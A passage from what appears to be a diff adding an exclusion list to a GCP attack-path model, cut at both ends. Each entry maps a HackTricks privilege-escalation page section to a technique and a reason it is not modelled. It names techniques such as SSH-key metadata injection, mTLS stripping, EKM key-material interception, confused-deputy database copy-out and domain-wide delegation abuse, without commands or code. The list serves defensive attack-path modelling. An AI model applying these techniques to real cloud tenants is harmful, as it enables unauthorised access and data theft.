src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#compute + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#container + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#dataflow + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataproc + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#steps-to-exploit + technique: Exploitation steps sub-section + reason: Steps for the job-submit technique; covered by the dataproc entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-integration-connectors-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#os-config + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-osconfig-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#cloud-run + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storage + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#workflows + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workload-identity-federation-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#iam + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#introduction-to-gcp-privilege-escalation + technique: Introduction + reason: Introductory text; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#permissions-for-privilege-escalation-methodology + technique: Methodology + reason: Methodology overview; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#bypassing-access-scopes + technique: Bypassing access scopes + reason: Uses already-held credentials/tokens of the same SA; not a new identity edge (scope limits are not modelled as identity). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#abusing-gcp-to-escalate-privileges-locally + technique: Local escalation pointer + reason: Pointer to the local privilege escalation page (excluded there). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#privilege-escalation-techniques + technique: Techniques index + reason: Index of the service pages; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#access-context-manager-accesscontextmanagergoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#accesscontextmanageraccesslevelsupdate--loosen-context-aware-access + technique: Loosen access levels + reason: Guardrail tamper (context-aware access); no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#recon--map-the-orgs-entire-exfil-posture-read-only + technique: Recon + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analytics-hub + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md#api-keys + technique: Page intro; standard API key create / list / getKeyString / restriction update (Rhino CreateAPIKey, ViewExistingAPIKeys) + reason: A standard API key identifies a consumer project for quota and billing and does not authenticate an IAM principal (page intro at 171e422); only service-account-bound + authorization keys are an identity edge (gcp-apikeys-authorization-key-bound-sa). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#bigtable + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#cloud-billing + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-billing-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#certificate-authority-service-cas + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-certificate-authority-service-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-database-migration-privesc.md#database-migration-service-datamigrationgoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-database-migration-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#datastream-datastreamgoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#datastreamconnectionprofilescreate--datastreamstreamscreate--full-database-copy-out-confused-deputy + technique: Stream database copy-out + reason: Data exfiltration (confused deputy); no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#firebase + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#identity-aware-proxy-iap + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iaptunnelinstancesaccessviaiap--ssh--tunnel-to-internal-only-vms + technique: IAP tunnel access + reason: Network access path; logging in still requires OS Login/SSH key techniques (modelled in compute). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iapweb-resources + technique: IAP web resources + reason: Grants web access to an app; app access is not a GCP identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#iapwebupdatesettings--weaken-iap-enforcement-settings-tamper + technique: IAP settings tamper + reason: Guardrail tamper. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iap-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#kms + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyversionsusetodecrypt + technique: Decrypt + reason: Data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#cloudkmscryptokeyversionsusetodecryptviadelegation + technique: Decrypt via delegation + reason: Data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#setting-up-for-delegation + technique: Delegation setup + reason: Setup for the decrypt-via-delegation data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#autokey-confused-deputy-cloudkmsautokeyconfigsupdate--cloudkmskeyhandlescreate + technique: Autokey confused deputy + reason: Key-material control / data access; no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#ekm-connection-hijack-attacker-ekm--mitm-of-external-key-material-cloudkmsekmconnectionsupdate + technique: EKM connection hijack + reason: MITM of key material; data access / DoS, no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#read-the-scripts + technique: Read VM scripts + reason: Credential discovery inside a VM; data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#custom-metadata + technique: Custom metadata secrets + reason: Data read of metadata values. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#abusing-iam-permissions + technique: Abusing the attached SA's IAM permissions + reason: Pointer; the permission-based paths are modelled in compute/osconfig/iam entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#search-for-keys-in-the-filesystem + technique: Search keys on filesystem + reason: Credential discovery on disk; data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#more-api-key-regexes + technique: API key regexes + reason: Credential discovery heuristics; data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#initial-state + technique: Initial state + reason: Scenario description; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#attack-explanation + technique: Metadata response injection + reason: Network-position attack (TCP injection against the metadata server from a host-network container); no IAM permission precondition, not representable as + a permission edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#escape-technique + technique: Escape technique + reason: Network attack details; see above. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#network-security-networksecuritygoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networksecurity-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#network-services-networkservicesgoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkserviceshttproutescreate--networkserviceshttproutesupdate--mesh-traffic-hijack + technique: Mesh traffic hijack + reason: Network pivot / traffic interception; no identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#networkservicesendpointpoliciescreate--update--strip-mtls--loosen-authz-on-victim-sidecars + technique: Strip mTLS on sidecars + reason: Network guardrail tamper. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#meshconfigprojectsinit--mesh-control-plane-bootstrap-persistence + technique: Mesh bootstrap + reason: Persistence. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#roles + technique: Roles + reason: Role listing; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-networkservices-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicy + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#orgpolicycustomconstraintscreate--update--author-org-wide-custom-constraints-org-scope + technique: Custom constraints + reason: Guardrail tamper / DoS. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#parallelstore-parallelstoregoogleapiscom + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-parallelstore-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#pubsub + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-runtimeconfig-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanager + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagement + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#servicemanagementservicesupdate--config-rollout-authentication-injection + technique: Endpoints auth injection + reason: Application-level authentication tamper; not a GCP IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-service-management-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#spanner + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-spanner-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#from-gcp-to-gws + technique: Section intro + reason: Heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#domain-wide-delegation-basics + technique: DWD basics + reason: Background; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#create-a-new-delegation-persistence + technique: Create a new delegation + reason: Persistence (requires Workspace super admin). +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#cross-organizational-delegation + technique: Cross-organization delegation + reason: Persistence variant of delegation creation. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#delepwn + technique: DelePwn tool + reason: Tooling for DWD abuse; covered by gcp-workspace-dwd-key-create / gcp-workspace-dwd-keyless-signjwt. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#delefriend + technique: DeleFriend tool + reason: Tooling for DWD abuse; covered by the DWD entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#gcp-generate-delegation-token + technique: Delegation token tool + reason: Tooling for DWD abuse; covered by the DWD entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#gitlabs-python-script + technique: GitLab script + reason: Tooling for DWD abuse; covered by the DWD entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-privesc.md#direct-service-account-workspace-resources-without-dwd + technique: SA-owned Workspace resources without DWD + reason: The SA uses only resources shared with itself; no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#agent-identity-auth-manager-credentials + technique: Agent Identity pointer + reason: Pointer; covered by gcp-agentidentity-retrieve-credentials / gcp-agentidentity-update-token-url. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#application-integration-credential-access + technique: Application Integration pointer + reason: Pointer; covered by gcp-appintegration-runas-sa-actas. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#workspace-http-add-on-deployment-takeover + technique: Add-on takeover pointer + reason: Pointer; covered by gcp-workspace-addons-deployment-update. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#creating-a-project-to-enumerate-workspace + technique: Create project to enumerate Workspace + reason: Enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#abusing-gcloud-credentials + technique: Abusing gcloud credentials + reason: Reuses the user's own token with extra scopes; same identity. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#from-gws-to-gcp + technique: Section intro + reason: Heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/README.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md#understanding-domain-wide-delegation + technique: DWD explainer + reason: Background page; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md#domain-wide-delegation-under-the-hood + technique: DWD internals + reason: Background; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-understanding-domain-wide-delegation.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#conditional-gcp-to-workspace-pivot + technique: Conditional pivot explanation + reason: Explains the conditions of the covered agentidentity entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#read-only-enumeration-and-no-list-fallback + technique: Enumeration + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-agent-identity-auth-manager-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#integrationsintegrationsinvoke--invoke-a-credentialed-workflow + technique: Invoke existing integration + reason: Replays an existing workflow's fixed logic; no control over the identity's actions. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#http-connector-credential-forwarding + technique: HTTP connector credential forwarding + reason: Credential exfiltration via an authored integration; covered by gcp-appintegration-runas-sa-actas when run-as SA is used, otherwise a secret read. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#read-only-enumeration-and-no-list-fallback + technique: Enumeration + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-to-workspace-pivoting/gcp-application-integration-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#preconditions + technique: Preconditions + reason: Conditions of the covered gcp-workspace-addons-deployment-update entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#enumerate-safely + technique: Enumeration + reason: Read-only enumeration. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#authorized-lab-proof + technique: Lab proof + reason: Validation notes for the covered entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workspace-addons-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#osconfigpatchdeploymentscreate--osconfigpatchjobsexec + technique: OS Config patch deployment pre/post steps + reason: Duplicate edge; covered by gcp-osconfig-patchjobs-exec (any_of patchJobs.exec / patchDeployments.create). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#computeinstancessetmetadata--windows-local-administrator-reset-windows-keys + technique: Windows local Administrator reset via windows-keys metadata + reason: Same permission set and reach as gcp-compute-instances-setmetadata-existing-vm (setMetadata on the VM plus actAs on its attached SA); covered by that entry. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#compute + technique: Compute intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#add-an-ssh-key-to-one-vm---computeinstancessetmetadata + technique: SSH key on one VM via compute.instances.setMetadata + reason: Covered by gcp-compute-instances-setmetadata-existing-vm (compute README source). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md#add-a-project-wide-ssh-key---computeprojectssetcommoninstancemetadata + technique: Project-wide SSH key via compute.projects.setCommonInstanceMetadata + reason: Covered by gcp-compute-projects-setcommoninstancemetadata (compute README source). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#environment--command-injection-into-an-admitted-workload-binary-authorization-bypass + technique: Env/command injection into an admitted workload (Binary Authorization bypass) + reason: Same permissions and reach as gcp-container-pod-template-node-sa (Pod-template create/update); only the code-delivery method differs. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersupdate--enable-legacy-authorization-abac + technique: container.clusters.update enables legacy ABAC + reason: Amplifies identities the attacker already controls (existing KSA tokens or legacy client certificates); it does not make the caller's Google identity privileged +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#credential-minting-is-not-authorization + technique: Credential minting helpers (gkemulticloud generateAccessToken + reason: HackTricks and Google document these as authentication only; Kubernetes authorization still applies. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#historical-gke-kubelet-tls-bootstrap-credential-path + technique: Historical GKE kubelet TLS bootstrap credentials + reason: Historical in-pod metadata exposure needing a compromised Pod and a permissive CSR approver; blocked by current metadata concealment and Shielded GKE Nodes; + no IAM permission edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#config-controller--config-connector-kcc + technique: Config Controller / KCC intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-controller-privesc.md#kcc-iamserviceaccountkey-plus-secret-read--mint-a-long-lived-key-for-a-more-privileged-service-account + technique: KCC IAMServiceAccountKey plus Secret read + reason: Composition of gcp-configcontroller-kcc-resource-write (act as the Config Connector identity) with that identity's own gcp-iam-serviceaccountkeys-create + edge; the graph derives it transitively. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md#config-delivery + technique: Config Delivery intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-analysis-privesc.md#container-analysis--artifact-analysis + technique: Container Analysis intro + reason: Introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-data-fusion-privesc.md#preview-source-data-as-the-design-time-service-account + technique: Pipeline Preview as the design-time identity + reason: Data read of up to the previewed rows through the Data Fusion service agent / namespace SA; no control of that identity (HackTricks). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-database-migration-privesc.md#database-migration-service + technique: Page intro + reason: Service introduction; at 171e422 the page states no distinct DMS privilege-escalation primitive is supported. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataform-privesc.md#dataform + technique: Page intro + reason: Service introduction and strict act-as background; no standalone technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-metastore-privesc.md#dataproc-metastore + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--scopescloud-platform-at-cluster-create--oauth-scope-amplification-of-a-stolen-node-token + technique: --scopes=cloud-platform at cluster create + reason: Modifier of the cluster-create run-as path; covered by gcp-dataproc-clusters-batches-create-actas (access_scopes condition). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--metadata-startup-script--ssh-keys-at-cluster-create--root-node-takeover-without-an-init-action + technique: Startup-script / ssh-keys metadata at cluster create + reason: Alternative code-exec channel of the cluster-create run-as path; covered by gcp-dataproc-clusters-batches-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--container-image-on-serverless-workloads--dependencyenvironment-poisoning + technique: Serverless --container-image dependency poisoning + reason: Image write paths are covered by gcp-artifactregistry-upload-artifacts / gcp-artifactregistry-tags-update (artifact_consumer); direct launch is covered + by gcp-dataproc-clusters-batches-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#datastream + technique: Page intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#zero-credential-native-gcp-source-spanner--pure-iam-confused-deputy + technique: Spanner source zero-credential confused deputy + reason: Service-agent-driven data copy-out of an in-project Spanner database; data exfiltration, no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md#iam-and-organization-policies + technique: Page intro pointer + reason: Pointer to the IAM enumeration page; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#vpc-service-controls + technique: VPC-SC intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-access-context-manager-privesc.md#gcpuseraccessbindings-cloud-bindings--context-removal-or-extended-workforce-sessions + technique: GcpUserAccessBinding context removal / extended sessions + reason: Removes or relaxes access-level enforcement for a group's sessions; guardrail tamper, no new IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshublistingssubscribe--access-a-published-dataset-or-pubsub-topic + technique: Subscribe to a listing + reason: A subscription can grant the caller bounded effective data access. Current evidence cannot join the exact listing and resulting linked dataset/topic to a prior source denial and a later allowed read; retain as a documented modeling gap. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-analytics-hub-privesc.md#analyticshubdataexchangessubscribe--subscribe-to-a-data-clean-room + technique: Subscribe to a data clean room + reason: A clean-room subscription can give the caller new bounded query access. Current evidence cannot bind the exact exchange, subscriber dataset, query restrictions, prior source denial and successful later query; retain as a documented modeling gap. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#beyondcorp--chrome-enterprise-premium + technique: Service intro + reason: Service introduction; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-beyondcorp-privesc.md#repoint-an-application-the-caller-can-already-use-to-another-web-target-behind-its-existing-upstream + technique: Repoint an application to another upstream target + reason: Network pivot to another private web target; no IAM identity. +- source: 